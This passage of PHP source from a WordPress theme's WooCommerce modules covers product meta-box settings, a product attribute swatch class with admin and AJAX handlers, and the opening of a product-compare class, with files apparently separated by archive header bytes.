				''        => 'Default Value ( on Customize )',
				'left'    => 'Sidebar Left',
				'right'   => 'Sidebar Right',
				'disable' => 'Disable Sidebar',
			),
			'desc'    => esc_html__( 'Select main content and sidebar alignment.', 'soledad' ),
		),

		array(
			'tab'     => 'product_sidebar',
			'id'      => 'sidebar_placement',
			'name'    => esc_html__( 'Sidebar Placement', 'soledad' ),
			'type'    => 'select',
			'std'     => '',
			'options' => array(
				''       => 'Default Value ( on Customize )',
				'bottom' => 'Bottom Content',
				'both'   => 'Top & Bottom',
			),
		),

		/*array(
			'tab'     => 'product_sidebar',
			'id'      => 'sidebar_size',
			'name'    => esc_html__( 'Sidebar size', 'soledad' ),
			'type'    => 'select',
			'std'     => '',
			'options' => array(
				''       => 'Default Value ( on Customize )',
				'small'  => 'Small Sidebar',
				'medium' => 'Medium Sidebar',
				'large'  => 'Large Sidebar',
			),
			'desc'    => esc_html__( 'You can set different sizes for your pages sidebar', 'soledad' ),
		),*/


		array(
			'tab'     => 'product_sidebar',
			'id'      => 'sidebar_area',
			'name'    => esc_html__( 'Custom sidebar for this product', 'soledad' ),
			'type'    => 'select',
			'std'     => '',
			'options' => $soledad_sidebar_area,
		),

		// Background
		array(
			'id'   => 'product_wrap_bgcolor',
			'type' => 'color',
			'name' => esc_html__( 'Background Color', 'soledad' ),
			'tab'  => 'product_background',
		),
		array(
			'id'   => 'product_wrap_bgimg',
			'type' => 'image',
			'name' => esc_html__( 'Background Image', 'soledad' ),
			'tab'  => 'product_background',
		),
		array(
			'name'    => esc_html__( 'Background Position', 'soledad' ),
			'id'      => 'product_wrap_bg_pos',
			'type'    => 'select',
			'options' => array(
				'center'        => esc_html__( 'Center', 'soledad' ),
				'left_top'      => esc_html__( 'Left Top', 'soledad' ),
				'left_center'   => esc_html__( 'Left Center', 'soledad' ),
				'left_bottom'   => esc_html__( 'Left Bottom', 'soledad' ),
				'right_top'     => esc_html__( 'Right Top', 'soledad' ),
				'right_center'  => esc_html__( 'Right Center', 'soledad' ),
				'right_bottom'  => esc_html__( 'Right Bottom', 'soledad' ),
				'center_top'    => esc_html__( 'Center Top', 'soledad' ),
				'center_bottom' => esc_html__( 'Center Bottom', 'soledad' ),
			),
			'std'     => 'center',
			'tab'     => 'product_background',
			'style'   => 'penci-col-6'
		),
		array(
			'name'    => esc_html__( 'Background Size', 'soledad' ),
			'id'      => 'product_wrap_bg_size',
			'type'    => 'select',
			'std'     => 'cover',
			'options' => array(
				'cover'   => esc_html__( 'Cover', 'soledad' ),
				'auto'    => esc_html__( 'Auto', 'soledad' ),
				'contain' => esc_html__( 'Contain', 'soledad' ),
			),
			'tab'     => 'product_background',
			'style'   => 'penci-col-6'
		),
		array(
			'name'    => esc_html__( 'Background Repeat', 'soledad' ),
			'id'      => 'product_wrap_bg_repeat',
			'type'    => 'select',
			'std'     => 'no-repeat',
			'options' => array(
				'repeat'    => esc_html__( 'Repeat', 'soledad' ),
				'no-repeat' => esc_html__( 'No repeat', 'soledad' ),
			),
			'tab'     => 'product_background',
			'style'   => 'penci-col-6'
		),

		// Custom Tab
		array(
			'name' => esc_html__( 'Hidden Tab Title', 'soledad' ),
			'id'   => 'tab_title_visible',
			'type' => 'checkbox',
			'tab'  => 'product_custom_tab',
		),

		array(
			'name' => esc_html__( 'Custom Tab Title', 'soledad' ),
			'id'   => 'tab_title',
			'type' => 'text',
			'tab'  => 'product_custom_tab',
		),

		array(
			'name' => esc_html__( 'Custom Tab Content', 'soledad' ),
			'id'   => 'tab_content',
			'type' => 'wysiwyg',
			'tab'  => 'product_custom_tab',
		),

		array(
			'name' => esc_html__( 'Priority', 'soledad' ),
			'id'   => 'tab_priority',
			'type' => 'number',
			'std'  => 50,
			'tab'  => 'product_custom_tab',
		),

		// Extra Options
		array(
			'name'    => esc_html__( 'Brands Display', 'soledad' ),
			'id'      => 'brand_locate',
			'type'    => 'select',
			'std'     => '',
			'options' => array(
				''        => esc_html__( 'Default Theme Locate', 'soledad' ),
				'top'     => esc_html__( 'Top', 'soledad' ),
				'summary' => esc_html__( 'Summary', 'soledad' ),
			),
			'tab'     => 'product_extra_options',
		),
		array(
			'name' => esc_html__( 'Permanent "New" label', 'soledad' ),
			'id'   => 'permanent_new_label',
			'type' => 'checkbox',
			'tab'  => 'product_extra_options',
			'desc' => __( 'Enable this option to make your product have "New" status forever.', 'soledad' ),
		),

		array(
			'name' => esc_html__( 'Hide related products', 'soledad' ),
			'id'   => 'hide_related_products',
			'type' => 'checkbox',
			'tab'  => 'product_extra_options',
			'desc' => __( 'You can hide related products on this page', 'soledad' ),
		),

		array(
			'name'    => esc_html__( 'Grid swatch attribute to display', 'soledad' ),
			'id'      => 'grid_swatch',
			'type'    => 'select',
			'tab'     => 'product_extra_options',
			'options' => penci_product_attributes_array( true ),
			'desc'    => __( 'Choose attribute that will be shown on products grid for this particular product', 'soledad' ),
		),

		// Custom css

		array(
			'name'        => esc_html__( 'Custom CSS Code', 'soledad' ),
			'id'          => 'product_custom_css',
			'type'        => 'textarea',
			'tab'         => 'product_custom_css',
			'placeholder' => '.class{ color: #fff; }',
			'desc'        => __( 'Enter your CSS code. In some case, the <code>!important</code> tag may be needed', 'soledad' ),
		),
	);

	$meta_boxes[] = array(
		'id'         => 'penci-metabox-product',
		'title'      => esc_html__( 'Product Options', 'soledad' ),
		'post_types' => array( 'product' ),
		'context'    => 'advanced',
		'priority'   => 'default',
		'autosave'   => 'false',
		'tabs'       => apply_filters( 'penci_product_meta_box_tabs', $tabs ),
		'fields'     => apply_filters( 'penci_product_meta_box_fields', $fields ),
	);

	return $meta_boxes;
}
PK     0w\]Qi  i     woocommerce/modules/swatches.phpnu [        <?php

class penci_product_swatches {

	protected static $instance = null;

	public $types = array();

	public function __construct() {
		add_action( 'init', [ $this, 'init'] );
	}

	public function init() {
		$this->types = array(
			'color' => esc_html__( 'Color', 'soledad' ),
			'image' => esc_html__( 'Image', 'soledad' ),
			'label' => esc_html__( 'Label', 'soledad' ),
		);

		if ( is_admin() ) {
			add_action( 'admin_init', array( $this, 'init_attribute_hooks' ) );
			add_action( 'admin_notices', array( $this, 'restore_attributes_notice' ) );
			add_action( 'admin_init', array( $this, 'restore_attribute_types' ) );
			add_action( 'admin_print_scripts', array( $this, 'admin_enqueue_scripts' ) );
			add_action( 'woocommerce_product_option_terms', array( $this, 'product_option_terms' ), 10, 2 );
			add_action( 'wp_ajax_penci_add_new_attribute', array( $this, 'add_new_attribute_ajax' ) );
			add_action( 'admin_footer', array( $this, 'add_attribute_term_template' ) );
			add_action( 'edit_post', array( $this, 'deleted_transitent' ) );
		}

		add_filter( 'product_attributes_type_selector', array( $this, 'add_attribute_types' ) );
		add_action( 'penci_product_attribute_field', array( $this, 'attribute_fields' ), 10, 3 );
		add_filter( 'woocommerce_dropdown_variation_attribute_options_html', array(
			$this,
			'get_swatch_html'
		), 100, 2 );
		add_filter( 'penci_swatch_html', array( $this, 'swatch_html' ), 5, 4 );

		add_action( 'penci_swatches_loop', array( $this, 'product_swatches_list' ) );
		add_action( 'penci_loop_product_image', array( $this, 'preload_icon' ) );
	}

	public static function instance() {
		if ( null == self::$instance ) {
			self::$instance = new self();
		}

		return self::$instance;
	}

	public function admin_enqueue_scripts() {
		$screen = get_current_screen();
		if ( strpos( $screen->id, 'edit-pa_' ) === false && strpos( $screen->id, 'product' ) === false ) {
			return;
		}

		wp_enqueue_media();

		wp_enqueue_style( 'penci-admin', PENCI_SOLEDAD_URL . '/inc/woocommerce/css/penci-admin.css', array( 'wp-color-picker' ), '1.0' );
		wp_enqueue_script( 'penci-admin', PENCI_SOLEDAD_URL . '/inc/woocommerce/js/penci-admin.js', array(
			'jquery',
			'wp-color-picker',
			'wp-util'
		), '1.0', true );

		wp_localize_script(
			'penci-admin',
			'penci',
			array(
				'i18n'        => array(
					'mediaTitle'  => esc_html__( 'Choose an image', 'soledad' ),
					'mediaButton' => esc_html__( 'Use image', 'soledad' ),
				),
				'placeholder' => WC()->plugin_url() . '/assets/images/placeholder.png'
			)
		);
	}

	public function add_attribute_types( $types ) {
		$types = array_merge( $types, $this->types );

		return $types;
	}

	public function init_attribute_hooks() {
		$attribute_taxonomies = wc_get_attribute_taxonomies();

		if ( empty( $attribute_taxonomies ) ) {
			return;
		}

		foreach ( $attribute_taxonomies as $tax ) {
			add_action( 'pa_' . $tax->attribute_name . '_add_form_fields', array( $this, 'add_attribute_fields' ) );
			add_action( 'pa_' . $tax->attribute_name . '_edit_form_fields', array(
				$this,
				'edit_attribute_fields'
			), 10, 2 );

			add_filter( 'manage_edit-pa_' . $tax->attribute_name . '_columns', array(
				$this,
				'add_attribute_columns'
			) );
			add_filter( 'manage_pa_' . $tax->attribute_name . '_custom_column', array(
				$this,
				'add_attribute_column_content'
			), 10, 3 );
		}

		add_action( 'created_term', array( $this, 'save_term_meta' ), 10, 2 );
		add_action( 'edit_term', array( $this, 'save_term_meta' ), 10, 2 );
	}

	public function restore_attributes_notice() {
		if ( get_transient( 'penci_attribute_taxonomies' ) && ! get_option( 'penci_restore_attributes_time' ) ) {
			?>
            <div class="notice-warning notice is-dismissible">
                <p>
					<?php
					esc_html_e( 'Found a backup of product attributes types. This backup was generated at', 'soledad' );
					echo ' ' . date( get_option( 'date_format' ) . ' ' . get_option( 'time_format' ), get_option( 'penci_backup_attributes_time' ) ) . '.';
					?>
                </p>
                <p>
                    <a href="<?php echo esc_url( add_query_arg( array(
						'penci_action' => 'restore_attributes_types',
						'penci_nonce'  => wp_create_nonce( 'restore_attributes_types' )
					) ) ); ?>">
                        <strong><?php esc_html_e( 'Restore product attributes types', 'soledad' ); ?></strong>
                    </a>
                    |
                    <a href="<?php echo esc_url( add_query_arg( array(
						'penci_action' => 'dismiss_restore_notice',
						'penci_nonce'  => wp_create_nonce( 'dismiss_restore_notice' )
					) ) ); ?>">
                        <strong><?php esc_html_e( 'Dismiss this notice', 'soledad' ); ?></strong>
                    </a>
                </p>
            </div>
			<?php
		} elseif ( isset( $_GET['penci_message'] ) && 'restored' == $_GET['penci_message'] ) {
			?>
            <div class="notice-warning settings-error notice is-dismissible">
                <p><?php esc_html_e( 'All attributes types have been restored.', 'soledad' ) ?></p>
            </div>
			<?php
		}
	}

	public function restore_attribute_types() {
		if ( ! isset( $_GET['penci_action'] ) || ! isset( $_GET['penci_nonce'] ) ) {
			return;
		}

		if ( ! wp_verify_nonce( $_GET['penci_nonce'], $_GET['penci_action'] ) ) {
			return;
		}

		if ( 'restore_attributes_types' == $_GET['penci_action'] ) {
			global $wpdb;

			$attribute_taxnomies = get_transient( 'penci_attribute_taxonomies' );

			foreach ( $attribute_taxnomies as $id => $attribute ) {
				$wpdb->update(
					$wpdb->prefix . 'woocommerce_attribute_taxonomies',
					array( 'attribute_type' => $attribute->attribute_type ),
					array( 'attribute_id' => $id ),
					array( '%s' ),
					array( '%d' )
				);
			}

			update_option( 'penci_restore_attributes_time', time() );
			delete_transient( 'penci_attribute_taxonomies' );
			delete_transient( 'wc_attribute_taxonomies' );

			$url = remove_query_arg( array( 'penci_action', 'penci_nonce' ) );
			$url = add_query_arg( array( 'penci_message' => 'restored' ), $url );
		} elseif ( 'dismiss_restore_notice' == $_GET['penci_action'] ) {
			update_option( 'penci_restore_attributes_time', 'ignored' );
			$url = remove_query_arg( array( 'penci_action', 'penci_nonce' ) );
		}

		if ( isset( $url ) ) {
			wp_redirect( $url );
			exit;
		}
	}

	public function add_attribute_fields( $taxonomy ) {
		$attr = $this->get_tax_attribute( $taxonomy );

		do_action( 'penci_product_attribute_field', $attr->attribute_type, '', 'add' );
	}

	public function get_tax_attribute( $taxonomy ) {
		global $wpdb;

		$attr = substr( $taxonomy, 3 );
		$attr = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM " . $wpdb->prefix . "woocommerce_attribute_taxonomies WHERE attribute_name = %s", $attr ) );

		return $attr;
	}

	public function edit_attribute_fields( $term, $taxonomy ) {
		$attr  = $this->get_tax_attribute( $taxonomy );
		$value = get_term_meta( $term->term_id, $attr->attribute_type, true );

		do_action( 'penci_product_attribute_field', $attr->attribute_type, $value, 'edit' );
	}

	public function attribute_fields( $type, $value, $form ) {
		if ( in_array( $type, array( 'select', 'text' ) ) ) {
			return;
		}

		printf(
			'<%s class="form-field">%s<label for="term-%s">%s</label>%s',
			'edit' == $form ? 'tr' : 'div',
			'edit' == $form ? '<th>' : '',
			esc_attr( $type ),
			$this->types[ $type ],
			'edit' == $form ? '</th><td>' : ''
		);

		switch ( $type ) {
			case 'image':
				$image = $value ? wp_get_attachment_image_src( $value ) : '';
				$image = $image ? $image[0] : WC()->plugin_url() . '/assets/images/placeholder.png';
				?>
                <div class="penci-term-image-thumbnail" style="float:left;margin-right:10px;">
                    <img alt="" src="<?php echo esc_url( $image ) ?>" width="60px" height="60px"/>
                </div>
                <div style="line-height:60px;">
                    <input type="hidden" class="penci-term-image" name="image"
                           value="<?php echo esc_attr( $value ) ?>"/>
                    <button type="button"
                            class="penci-upload-image-button button"><?php esc_html_e( 'Upload/Add image', 'soledad' ); ?></button>
                    <button type="button"
                            class="penci-remove-image-button button <?php echo $value ? '' : 'hidden' ?>"><?php esc_html_e( 'Remove image', 'soledad' ); ?></button>
                </div>
				<?php
				break;

			default:
				?>
                <input type="text" id="term-<?php echo esc_attr( $type ) ?>" name="<?php echo esc_attr( $type ) ?>"
                       value="<?php echo esc_attr( $value ) ?>"/>
				<?php
				break;
		}

		echo 'edit' == $form ? '</td></tr>' : '</div>';
	}

	public function save_term_meta( $term_id, $tt_id ) {
		foreach ( $this->types as $type => $label ) {
			if ( isset( $_POST[ $type ] ) ) {
				update_term_meta( $term_id, $type, sanitize_text_field( $_POST[ $type ] ) );
			}
		}
	}

	public function add_attribute_columns( $columns ) {
		$new_columns          = array();
		$new_columns['cb']    = isset( $columns['cb'] ) && $columns['cb'] ? $columns['cb'] : 2;
		$new_columns['thumb'] = '';
		unset( $columns['cb'] );

		return array_merge( $new_columns, $columns );
	}

	public function add_attribute_column_content( $columns, $column, $term_id ) {
		if ( 'thumb' !== $column ) {
			return $columns;
		}

		$attr  = $this->get_tax_attribute( $_REQUEST['taxonomy'] );
		$value = get_term_meta( $term_id, $attr->attribute_type, true );

		switch ( $attr->attribute_type ) {
			case 'color':
				printf( '<div class="swatch-preview swatch-color" style="background-color:%s;"></div>', esc_attr( $value ) );
				break;

			case 'image':
				$image = $value ? wp_get_attachment_image_src( $value ) : '';
				$image = $image ? $image[0] : WC()->plugin_url() . '/assets/images/placeholder.png';
				printf( '<img class="swatch-preview swatch-image" src="%s" width="44px" height="44px">', esc_url( $image ) );
				break;

			case 'label':
				printf( '<div class="swatch-preview swatch-label">%s</div>', esc_html( $value ) );
				break;
		}
	}

	public function get_swatch_html( $html, $args ) {
		$swatch_types = $this->types;
		$attr         = $this->get_tax_attribute( $args['attribute'] );

		// Return if this is normal attribute
		if ( empty( $attr ) ) {
			return $html;
		}

		if ( ! array_key_exists( $attr->attribute_type, $swatch_types ) ) {
			return $html;
		}

		$options   = $args['options'];
		$product   = $args['product'];
		$attribute = $args['attribute'];
		$class     = "variation-selector variation-select-{$attr->attribute_type}";
		$swatches  = '';

		// Add new option for tooltip to $args variable.
		$args['tooltip'] = wc_string_to_bool( get_option( 'penci_enable_tooltip', 'yes' ) );

		if ( empty( $options ) && ! empty( $product ) && ! empty( $attribute ) ) {
			$attributes = $product->get_variation_attributes();
			$options    = $attributes[ $attribute ];
		}

		if ( array_key_exists( $attr->attribute_type, $swatch_types ) ) {
			if ( ! empty( $options ) && $product && taxonomy_exists( $attribute ) ) {
				// Get terms if this is a taxonomy - ordered. We need the names too.
				$terms = wc_get_product_terms( $product->get_id(), $attribute, array( 'fields' => 'all' ) );

				foreach ( $terms as $term ) {
					if ( in_array( $term->slug, $options ) ) {
						$swatches .= apply_filters( 'penci_swatch_html', '', $term, $attr->attribute_type, $args );
					}
				}
			}

			if ( ! empty( $swatches ) ) {
				$class    .= ' hidden';
				$swatches = '<div class="penci-swatches" data-attribute_name="attribute_' . esc_attr( $attribute ) . '">' . $swatches . '</div>';
				$html     = '<div class="' . esc_attr( $class ) . '">' . $html . '</div>' . $swatches;
			}
		}

		return $html;
	}

	public function swatch_html( $html, $term, $type, $args ) {
		$selected = sanitize_title( $args['selected'] ) == $term->slug ? 'selected' : '';
		$name     = esc_html( apply_filters( 'woocommerce_variation_option_name', $term->name ) );
		$tooltip  = '';

		if ( ! empty( $args['tooltip'] ) ) {
			$tooltip = '<span class="swatch__tooltip">' . ( $term->description ? $term->description : $name ) . '</span>';
		}

		switch ( $type ) {
			case 'color':
				$color = get_term_meta( $term->term_id, 'color', true );
				list( $r, $g, $b ) = sscanf( $color, "#%02x%02x%02x" );
				$html = sprintf(
					'<span class="swatch swatch-color swatch-%s %s" style="background-color:%s;color:%s;" data-value="%s">%s%s</span>',
					esc_attr( $term->slug ),
					$selected,
					esc_attr( $color ),
					"rgba($r,$g,$b,0.5)",
					esc_attr( $term->slug ),
					$name,
					$tooltip
				);
				break;

			case 'image':
				$image = get_term_meta( $term->term_id, 'image', true );
				$image = $image ? wp_get_attachment_image_src( $image ) : '';
				$image = $image ? $image[0] : WC()->plugin_url() . '/assets/images/placeholder.png';
				$html  = sprintf(
					'<span class="swatch swatch-image swatch-%s %s" data-value="%s"><img src="%s" alt="%s">%s%s</span>',
					esc_attr( $term->slug ),
					$selected,
					esc_attr( $term->slug ),
					esc_url( $image ),
					esc_attr( $name ),
					$name,
					$tooltip
				);
				break;

			case 'label':
				$label = get_term_meta( $term->term_id, 'label', true );
				$label = $label ? $label : $name;
				$html  = sprintf(
					'<span class="swatch swatch-label swatch-%s %s" data-value="%s">%s%s</span>',
					esc_attr( $term->slug ),
					$selected,
					esc_attr( $term->slug ),
					esc_html( $label ),
					$tooltip
				);
				break;
		}

		return $html;
	}

	public function product_option_terms( $taxonomy, $index ) {
		if ( ! array_key_exists( $taxonomy->attribute_type, $this->types ) ) {
			return;
		}

		$taxonomy_name = wc_attribute_taxonomy_name( $taxonomy->attribute_name );
		global $thepostid;

		$product_id = isset( $_POST['post_id'] ) ? absint( $_POST['post_id'] ) : $thepostid;
		?>

        <select multiple="multiple" data-placeholder="<?php esc_attr_e( 'Select terms', 'soledad' ); ?>"
                class="multiselect attribute_values wc-enhanced-select"
                name="attribute_values[<?php echo $index; ?>][]">
			<?php

			$all_terms = get_terms( $taxonomy_name, apply_filters( 'woocommerce_product_attribute_terms', array(
				'orderby'    => 'name',
				'hide_empty' => false
			) ) );
			if ( $all_terms ) {
				foreach ( $all_terms as $term ) {
					echo '<option value="' . esc_attr( $term->term_id ) . '" ' . selected( has_term( absint( $term->term_id ), $taxonomy_name, $product_id ), true, false ) . '>' . esc_attr( apply_filters( 'woocommerce_product_attribute_term_name', $term->name, $term ) ) . '</option>';
				}
			}
			?>
        </select>
        <button class="button plus select_all_attributes"><?php esc_html_e( 'Select all', 'soledad' ); ?></button>
        <button class="button minus select_no_attributes"><?php esc_html_e( 'Select none', 'soledad' ); ?></button>
        <button class="button fr plus penci_add_new_attribute"
                data-type="<?php echo $taxonomy->attribute_type ?>"><?php esc_html_e( 'Add new', 'soledad' ); ?></button>

		<?php
	}

	public function add_new_attribute_ajax() {
		$nonce  = isset( $_POST['nonce'] ) ? $_POST['nonce'] : '';
		$tax    = isset( $_POST['taxonomy'] ) ? sanitize_text_field( $_POST['taxonomy'] ) : '';
		$type   = isset( $_POST['type'] ) ? sanitize_text_field( $_POST['type'] ) : '';
		$name   = isset( $_POST['name'] ) ? sanitize_text_field( $_POST['name'] ) : '';
		$slug   = isset( $_POST['slug'] ) ? sanitize_text_field( $_POST['slug'] ) : '';
		$swatch = isset( $_POST['swatch'] ) ? sanitize_text_field( $_POST['swatch'] ) : '';

		if ( ! wp_verify_nonce( $nonce, '_penci_create_attribute' ) ) {
			wp_send_json_error( esc_html__( 'Wrong request', 'soledad' ) );
		}

		if ( empty( $name ) || empty( $swatch ) || empty( $tax ) || empty( $type ) ) {
			wp_send_json_error( esc_html__( 'Not enough data', 'soledad' ) );
		}

		if ( ! taxonomy_exists( $tax ) ) {
			wp_send_json_error( esc_html__( 'Taxonomy is not exists', 'soledad' ) );
		}

		if ( term_exists( $_POST['name'], $_POST['tax'] ) ) {
			wp_send_json_error( esc_html__( 'This term is exists', 'soledad' ) );
		}

		$term = wp_insert_term( $name, $tax, array( 'slug' => $slug ) );

		if ( is_wp_error( $term ) ) {
			wp_send_json_error( $term->get_error_message() );
		} else {
			$term = get_term_by( 'id', $term['term_id'], $tax );
			update_term_meta( $term->term_id, $type, $swatch );
		}

		wp_send_json_success(
			array(
				'msg'  => esc_html__( 'Added successfully', 'soledad' ),
				'id'   => $term->term_id,
				'slug' => $term->slug,
				'name' => $term->name,
			)
		);
	}

	public function add_attribute_term_template() {
		global $pagenow, $post;

		if ( $pagenow != 'post.php' || ( isset( $post ) && get_post_type( $post->ID ) != 'product' ) ) {
			return;
		}
		?>

        <div id="penci-modal-container" class="penci-modal-container">
            <div class="penci-modal">
                <button type="button" class="button-link media-modal-close penci-modal-close">
                    <span class="media-modal-icon"></span></button>
                <div class="penci-modal-header"><h2><?php esc_html_e( 'Add new term', 'soledad' ) ?></h2></div>
                <div class="penci-modal-content">
                    <p class="penci-term-name">
                        <label>
							<?php esc_html_e( 'Name', 'soledad' ) ?>
                            <input type="text" class="widefat penci-input" name="name">
                        </label>
                    </p>
                    <p class="penci-term-slug">
                        <label>
							<?php esc_html_e( 'Slug', 'soledad' ) ?>
                            <input type="text" class="widefat penci-input" name="slug">
                        </label>
                    </p>
                    <div class="penci-term-swatch">

                    </div>
                    <div class="hidden penci-term-tax"></div>

                    <input type="hidden" class="penci-input" name="nonce"
                           value="<?php echo wp_create_nonce( '_penci_create_attribute' ) ?>">
                </div>
                <div class="penci-modal-footer">
                    <button class="button button-secondary penci-modal-close"><?php esc_html_e( 'Cancel', 'soledad' ) ?></button>
                    <button class="button button-primary penci-new-attribute-submit"><?php esc_html_e( 'Add New', 'soledad' ) ?></button>
                    <span class="message"></span>
                    <span class="spinner"></span>
                </div>
            </div>
            <div class="penci-modal-backdrop media-modal-backdrop"></div>
        </div>

        <script type="text/template" id="tmpl-penci-input-color">

            <label><?php echo penci_woo_translate_text( 'penci_woo_trans_color' ); ?></label><br>
            <input type="text" class="penci-input penci-input-color" name="swatch">

        </script>

        <script type="text/template" id="tmpl-penci-input-image">

            <label><?php penci_woo_translate_text( 'penci_woo_trans_image' ); ?></label><br>
            <div class="penci-term-image-thumbnail" style="float:left;margin-right:10px;">
                <img alt="" src="<?php echo esc_url( WC()->plugin_url() . '/assets/images/placeholder.png' ) ?>" width="60px"
                     height="60px"/>
            </div>
            <div style="line-height:60px;">
                <input type="hidden" class="penci-input penci-input-image penci-term-image" name="swatch" value=""/>
                <button type="button"
                        class="penci-upload-image-button button"><?php esc_html_e( 'Upload/Add image', 'soledad' ); ?></button>
                <button type="button"
                        class="penci-remove-image-button button hidden"><?php esc_html_e( 'Remove image', 'soledad' ); ?></button>
            </div>

        </script>

        <script type="text/template" id="tmpl-penci-input-label">

            <label>
				<?php esc_html_e( 'Label', 'soledad' ) ?>
                <input type="text" class="widefat penci-input penci-input-label" name="swatch">
            </label>

        </script>

        <script type="text/template" id="tmpl-penci-input-tax">

            <input type="hidden" class="penci-input" name="taxonomy" value="{{data.tax}}">
            <input type="hidden" class="penci-input" name="type" value="{{data.type}}">

        </script>
		<?php
	}

	public function product_swatches_list() {
		global $product;


		$id             = $product->get_id();
		$attribute_name = penci_get_single_product_meta( $id, 'product_extra_options', 'grid_swatch', get_theme_mod( 'penci_woocommerce_grid_swatch' ) );
		if ( empty( $id ) || ! $product->is_type( 'variable' ) ) {
			return false;
		}

		if ( ! $attribute_name ) {
			$attribute_name = 'pa_color';
		}

		if ( empty( $attribute_name ) ) {
			return false;
		}

		// Swatches cache
		$cache          = get_theme_mod( 'penci_woocommerce_grid_swatch_cache', true );
		$transient_name = 'penci_loop_swatches_cache_' . $id;

		if ( $cache ) {
			$available_variations = get_transient( $transient_name );
		} else {
			$available_variations = array();
		}

		if ( ! $available_variations ) {
			$available_variations = $product->get_available_variations();
			if ( $cache ) {
				set_transient( $transient_name, $available_variations, apply_filters( 'penci_swatches_cache_time', WEEK_IN_SECONDS ) );
			}
		}

		if ( empty( $available_variations ) ) {
			return false;
		}

		$swatches_to_show = $this->get_option_variations( $attribute_name, $available_variations, false, $id );

		if ( empty( $swatches_to_show ) ) {
			return false;
		}
		$out = '';

		$out .= '<div class="penci-swatches-list swatches-select">';

		if ( apply_filters( 'penci_swatches_on_grid_right_order', true ) ) {
			$terms = wc_get_product_terms( $product->get_id(), $attribute_name, array( 'fields' => 'slugs' ) );

			$swatches_to_show_tmp = $swatches_to_show;

			$swatches_to_show = array();

			foreach ( $terms as $id => $slug ) {
				if ( ! isset( $swatches_to_show_tmp[ $slug ] ) ) {
					continue;
				}
				$swatches_to_show[ $slug ] = $swatches_to_show_tmp[ $slug ];
			}
		}

		$index    = 0;
		$img_size = wc_get_loop_prop( 'img_size', 'woocommerce_thumbnail' );

		foreach ( $swatches_to_show as $key => $swatch ) {
			$style = $class = '';
			$term  = get_term_by( 'slug', $key, $attribute_name );

			$swatch_limit                  = get_theme_mod( 'penci_woocommerce_grid_swatch_limit', 3 );
			$swatches_limit                = true;
			$swatches_use_variation_images = false;
			if ( $swatches_limit && count( $swatches_to_show ) > (int) $swatch_limit ) {
				if ( $index >= $swatch_limit ) {
					$class .= ' hidden';
				}
				if ( $index === (int) $swatch_limit ) {
					$out .= '<div class="penci-swatches-divider">+' . ( count( $swatches_to_show ) - (int) $swatch_limit ) . '</div>';
				}
			}

			$index ++;

			if ( ! empty( $swatch['color'] ) ) {
				$style = 'background-color:' . $swatch['color'];
				$class .= ' swatch-with-bg';
			} elseif ( $swatches_use_variation_images && isset( $swatch['image_src'] ) ) {
				$thumb = wp_get_attachment_image_src( get_post_thumbnail_id( $swatch['variation_id'] ), $img_size );
				if ( ! empty( $thumb ) ) {
					$style = 'background-image: url(' . $thumb[0] . ')';
					$class .= ' swatch-with-bg bg-image penci-tooltip';
				}
			} elseif ( ! empty( $swatch['image'] ) ) {
				$style = 'background-image: url(' . wp_get_attachment_image_url( $swatch['image'], 'thumbnail' ) . ')';
				$class .= ' swatch-with-bg bg-image';
			} elseif ( ! empty( $swatch['not_dropdown'] ) ) {
				$class .= ' text-only ';
			} elseif ( ! empty( $swatch['label'] ) ) {
				$class .= ' label ';
			} else {
				$class      .= ' no-user-swatch ';
				$label_text = strtolower( $term->slug );
				if ( penci_product_is_color_name( $label_text ) ) {
					$class .= ' has-define-bg-color swatch-with-bg ';
					$style = 'background-color:' . $label_text;
				}
			}

			$style .= ';';

			$data = '';

			if ( isset( $swatch['image_src'] ) ) {
				$data .= 'data-image-src="' . $swatch['image_src'] . '"';
				$data .= ' data-image-srcset="' . $swatch['image_srcset'] . '"';
				$data .= ' data-image-sizes="' . $swatch['image_sizes'] . '"';

				if ( ! $swatch['is_in_stock'] ) {
					$class .= ' variation-out-of-stock';
				}
			}


			$out .= '<div data-tippy-content="' . $term->name . '" class="penci-swatch-item penci-swatch penci-tooltip' . esc_attr( $class ) . '" style="' . esc_attr( $style ) . '" ' . $data . '>' . $term->name . '</div>';
		}

		$out .= '</div>';

		echo $out;

	}

	public function get_option_variations( $attribute_name, $available_variations, $option = false, $product_id = false ) {
		$swatches_to_show = array();
		$img_size         = wc_get_loop_prop( 'img_size', 'woocommerce_thumbnail' );
		foreach ( $available_variations as $key => $variation ) {
			$option_variation = array();
			$attr_key         = 'attribute_' . $attribute_name;
			if ( ! isset( $variation['attributes'][ $attr_key ] ) ) {
				return;
			}


			$val = $variation['attributes'][ $attr_key ];

			if ( ! empty( $variation['image_id'] ) ) {
				$option_variation = array(
					'variation_id' => $variation['variation_id'],
					'is_in_stock'  => $variation['is_in_stock'],
					'image_src'    => wp_get_attachment_image_url( $variation['image_id'], $img_size ),
					'image_srcset' => wp_get_attachment_image_srcset( $variation['image_id'], $img_size ),
					'image_sizes'  => $variation['image']['sizes'],
				);
			}

			// Get only one variation by attribute option value
			if ( $option ) {
				if ( $val != $option ) {
					continue;
				} else {
					return $option_variation;
				}
			} else {
				// Or get all variations with swatches to show by attribute name
				$swatch                   = $this->has_swatch( $product_id, $attribute_name, $val );
				$swatches_to_show[ $val ] = array_merge( $swatch, $option_variation );

			}
		}

		return $swatches_to_show;

	}

	public function has_swatch( $id, $attr_name, $value ) {
		$swatches = array();

		$color = $image = $label = '';

		$term = get_term_by( 'slug', $value, $attr_name );
		if ( is_object( $term ) ) {
			$color = get_term_meta( $term->term_id, 'color', true );
			$image = get_term_meta( $term->term_id, 'image', true );
			$label = get_term_meta( $term->term_id, 'label', true );
		}

		if ( $color != '' ) {
			$swatches['color'] = $color;
		}

		if ( $image != '' ) {
			$swatches['image'] = $image;
		}

		if ( $label != '' ) {
			$swatches['label'] = $label;
		}

		return $swatches;
	}

	public function deleted_transitent( $post ) {
		$transient_name = 'penci_loop_swatches_cache_' . $post;
		delete_transient( $transient_name );
	}

	public function preload_icon() {
		echo '<div class="penci-image-loader"></div>';
	}

}

$penci_product_swatches = new penci_product_swatches();
PK     0w\pN  pN    woocommerce/modules/compare.phpnu [        <?php

class penci_product_compare {

	private $save_compare = '';

	function __construct() {

		add_action( 'wp_ajax_nopriv_penci_add_to_compare', array( $this, 'add_to_compare' ) );
		add_action( 'wp_ajax_penci_add_to_compare', array( $this, 'add_to_compare' ) );

		if ( get_theme_mod( 'penci_woocommerce_compare_show', true ) ) {
			add_action( 'penci_loop_product_buttons', array( $this, 'compare_button' ) );
		}

